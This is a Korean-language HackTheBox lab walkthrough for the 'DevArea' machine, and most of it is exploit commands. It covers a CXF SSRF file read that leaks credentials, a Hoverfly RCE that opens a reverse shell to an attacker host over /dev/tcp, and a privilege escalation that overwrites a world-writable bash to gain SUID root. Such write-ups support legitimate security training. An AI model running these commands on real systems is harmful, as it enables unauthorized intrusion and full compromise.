DevArea — HackTheBox

플랫폼: HackTheBox OS: Linux 상태: Retired — 전체 풀이 공개됨.

전체 풀이: l3dsec.com/walkthroughs/devarea-htb

공격 체인

nmap → 21 (FTP anon) + 80 + 8080 (Jetty) + 8888 (Hoverfly)
  → FTP anon → employee-service.jar (Apache CXF, pre-3.5.5)
    → CVE-2022-46364 SSRF → file:///etc/systemd/system/hoverfly.service
      → ExecStart 내 admin 자격 증명
        → CVE-2025-54123 Hoverfly RCE → dev_ryan 셸 → user 플래그
          → /usr/bin/bash world-writable + sudo syswatch.sh가 이를 호출
            → bash 하이재킹 → SUID rootbash → root 플래그

1. 열거

nmap -sC -sV -p- <TARGET_IP>
# 21/tcp  open  ftp     vsftpd 3.0.5 (anonymous login)
# 8080/tcp open http    Jetty 9.4.27
# 8888/tcp open http    Hoverfly Dashboard

FTP anon으로 pub/에서 다운로드하면 employee-service.jar가 나온다 — Apache CXF SOAP 서비스, 번들 버전은 3.5.5 이전.

2. CVE-2022-46364 (Apache CXF SSRF → 자격 증명 읽기)

3.5.5 이전의 CXF는 XOP:Include href URL을 서버 측에서 반영한다 — file://을 통한 임의 파일 읽기.

python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/systemd/system/hoverfly.service -d devarea.htb
# ExecStart: hoverfly -add -username admin -password O7IJ27MyyXiU
# User=dev_ryan

3. CVE-2025-54123 (Hoverfly 인증된 RCE)

Hoverfly 1.11.3 — 미들웨어 설정 주입을 통한 인증된 RCE.

nc -lvnp 4444
./CVE-2025-54123.sh -t http://<TARGET_IP>:8888 -u admin -p O7IJ27MyyXiU -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"

dev_ryan으로 셸 획득. user 플래그는 /home/dev_ryan/user.txt에 위치.

4. 권한 상승 — Bash 바이너리 하이재킹

sudo -l
# (root) NOPASSWD: /opt/syswatch/syswatch.sh
ls -la /usr/bin/bash
# -rwxrwxrwx  (world-writable)

syswatch.sh는 내부적으로 /usr/bin/bash를 호출한다. SUID를 부여하는 스크립트로 교체:

cp /usr/bin/bash /tmp/bash.bak
printf '#!/tmp/bash.bak\ncp /tmp/bash.bak /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /usr/bin/bash
chmod +x /usr/bin/bash
sudo /opt/syswatch/syswatch.sh status
/tmp/rootbash -p
# euid=0(root)

root 플래그는 /root/root.txt에 위치.

플래그

플래그	값
User	redacted
Root	redacted

교육 목적으로만 사용하세요. 본인이 소유하거나 명시적인 서면 허가를 받은 시스템에서만 테스트하세요.

devarea

인기